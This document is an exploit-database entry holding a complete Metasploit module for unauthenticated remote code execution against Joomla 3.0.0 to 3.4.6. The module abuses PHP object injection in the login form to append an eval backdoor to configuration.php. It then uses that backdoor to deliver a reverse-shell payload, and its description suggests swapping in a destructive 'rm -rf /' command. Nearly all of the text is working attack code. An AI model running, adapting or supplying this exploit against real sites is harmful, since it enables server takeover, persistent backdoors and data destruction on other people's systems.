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# Exploit Title: Joomla! 3.4.6 - Remote Code Execution (Metasploit) # Google Dork: N/A # Date: 2019-10-02 # Exploit Author: Alessandro Groppo # Vendor Homepage: https//www.joomla.it/ # Software Link: https://downloads.joomla.org/it/cms/joomla3/3-4-6 # Version: 3.0.0 --> 3.4.6 # Tested on: Linux # CVE : N/A ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HTTP::Joomla def initialize(info = {}) super(update_info(info, 'Name' => 'Rusty Joomla Unauthenticated Remote Code Execution', 'Description'=> %q{ PHP Object Injection because of a downsize in the read/write process with the database leads to RCE. The exploit will backdoor the configuration.php file in the root directory with en eval of a POST parameter. That's because the exploit is more reliabale (doesn't rely on common disabled function). For this reason, use it with caution and remember the house cleaning. Btw, you can also edit this exploit and use whatever payload you want. just modify the exploit object with get_payload('you_php_function','your_parameters'), e.g. get_payload('system','rm -rf /') and enjoy }, 'Author' => [ 'Alessandro \'kiks\' Groppo @Hacktive Security', ], 'License'=> MSF_LICENSE, 'References' => [ ['URL', 'https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41'], ['URL', 'https://github.com/kiks7/rusty_joomla_rce'] ], 'Privileged' => false, 'Platform' => 'PHP', 'Arch' => ARCH_PHP, 'Targets'=> [['Joomla 3.0.0 - 3.4.6', {}]], 'DisclosureDate' => 'Oct 022019', 'DefaultTarget'=> 0) ) register_advanced_options( [ OptBool.new('FORCE', [true, 'Force run even if check reports the service is safe.', false]), ]) end def get_random_string(length=50) source=("a".."z").to_a + ("A".."Z").to_a + (0..9).to_a key="" length.times{ key += source[rand(source.size)].to_s } return key end def get_session_token # Get session token from cookies vprint_status('Getting Session Token') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) }) cook = res.headers['Set-Cookie'].split(';')[0] vprint_status('Session cookie: ' + cook) return cook end def get_csrf_token(sess_cookie) vprint_status('Getting CSRF Token') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path,'/index.php/component/users'), 'headers' => { 'Cookie' => sess_cookie, } }) html = res.get_html_document input_field = html.at('//form').xpath('//input')[-1] token = input_field.to_s.split(' ')[2] token = token.gsub('name="','').gsub('"','') if token then vprint_status('CSRF Token: ' + token) return token end print_error('Cannot get the CSRF Token ..') end def get_payload(function, payload) # @function: The PHP Function # @payload: The payload for the call template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}' # The http:// part is necessary in order to validate a condition in SimplePie::init and trigger the call_user_func with arbitrary values payload = 'http://l4m3rz.l337/;' + payload final = template.gsub('PAYLOAD',payload).gsub('LENGTH', payload.length.to_s).gsub('FUNC_NAME', function).gsub('FUNC_LEN', function.length.to_s) return final end def get_payload_backdoor(param_name) # return the backdoor payload # or better, the payload that will inject and eval function in configuration.php (in the root) # As said in other part of the code. we cannot create new .php file because we cannot use # the ? character because of the check on URI schema function = 'assert' template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}' # This payload will append an eval() at the end of the configuration file payload ="file_put_contents('configuration.php','if(isset($_POST[\\'"+param_name+"\\'])) eval($_POST[\\'"+param_name+"\\']);', FILE_APPEND) || $a=\'http://wtf\';" template['PAYLOAD']= payload template['LENGTH'] = payload.length.to_s template['FUNC_NAME'] = function template['FUNC_LEN'] = function.length.to_s return template end def check_by_exploiting # Check that is vulnerable by exploiting it and try to inject a printr('something') # Get the Session anb CidSRF Tokens sess_token = get_session_token() csrf_token = get_csrf_token(sess_token) print_status('Testing with a POC object payload') username_payload = '\\0\\0\\0' * 9 password_payload = 'AAA";' # close the prev object password_payload += get_payload('print_r','IAMSODAMNVULNERABLE') # actual payload password_payload += 's:6:"return":s:102:' # close cleanly the object res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path,'/index.php/component/users'), 'method' => 'POST', 'headers'=> { 'Cookie' => sess_token, }, 'vars_post' => { 'username' => username_payload, 'password' => password_payload, 'option' => 'com_users', 'task' => 'user.login', csrf_token => '1', } }) # Redirect in order to retrieve the output if res.redirection then res_redirect = send_request_cgi({ 'method' => 'GET', 'uri' => res.redirection.to_s, 'headers' =>{ 'Cookie' => sess_token } }) if 'IAMSODAMNVULNERABLE'.in? res.to_s or 'IAMSODAMNVULNERABLE'.in? res_redirect.to_s then return true else return false end end end def check # Check if the target is UP and get the current version running by info leak res = send_request_cgi({'uri' => normalize_uri(target_uri.path, '/administrator/manifests/files/joomla.xml')}) unless res print_error("Connection timed out") return Exploit::CheckCode::Unknown end # Parse XML to get the version if res.code == 200 then xml = res.get_xml_document version = xml.at('version').text print_status('Identified version ' + version) if version <= '3.4.6' and version >= '3.0.0' then if check_by_exploiting() return Exploit::CheckCode::Vulnerable else if check_by_exploiting() then # Try the POC 2 times. return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end else return Exploit::CheckCode::Safe end else print_error('Cannot retrieve XML file for the Joomla Version. Try the POC in order to confirm if it\'s vulnerable') if check_by_exploiting() then return Exploit::CheckCode::Vulnerable else if check_by_exploiting() then return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end end end def exploit if check == Exploit::CheckCode::Safe && !datastore['FORCE'] print_error('Target is not vulnerable') return end pwned = false cmd_param_name = get_random_string(50) sess_token = get_session_token() csrf_token = get_csrf_token(sess_token) # In order to avoid problems with disabled functions # We are gonna append an eval() function at the end of the configuration.php file # This will not cause any problem to Joomla and is a good way to execute then PHP directly # cuz assert is toot annoying and with conditions that we have we cannot inject some characters # So we will use 'assert' with file_put_contents to append the string. then create a reverse shell with this backdoor # Oh i forgot, We cannot create a new file because we cannot use the '?' character in order to be interpreted by the web server. # TODO: Add the PHP payload object to inject the backdoor inside the configuration.php file # Use the implanted backdoor to receive a nice little reverse shell with a PHP payload # Implant the backdoor vprint_status('Cooking the exploit ..') username_payload = '\\0\\0\\0' * 9 password_payload = 'AAA";' # close the prev object password_payload += get_payload_backdoor(cmd_param_name) # actual payload password_payload += 's:6:"return":s:102:' # close cleanly the object print_status('Sending exploit ..') res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path,'/index.php/component/users'), 'method' => 'POST', 'headers'=> { 'Cookie' => sess_token }, 'vars_post' => { 'username' => username_payload, 'password' => password_payload, 'option' => 'com_users', 'task' => 'user.login', csrf_token => '1' } }) print_status('Triggering the exploit ..') if res.redirection then res_redirect = send_request_cgi({ 'method' => 'GET', 'uri' => res.redirection.to_s, 'headers' =>{ 'Cookie' => sess_token } }) end # Ping the backdoor see if everything is ok :/ res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path,'configuration.php'), 'vars_post'=> { cmd_param_name=> 'echo \'PWNED\';' } }) if res.to_s.include? 'PWNED' then print_status('Target P0WN3D! eval your code at /configuration.php with ' + cmd_param_name + ' in a POST') print_status('Now it\'s time to reverse shell') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path,'configuration.php'), 'vars_post'=> { cmd_param_name=> payload.encoded } }) end end end |
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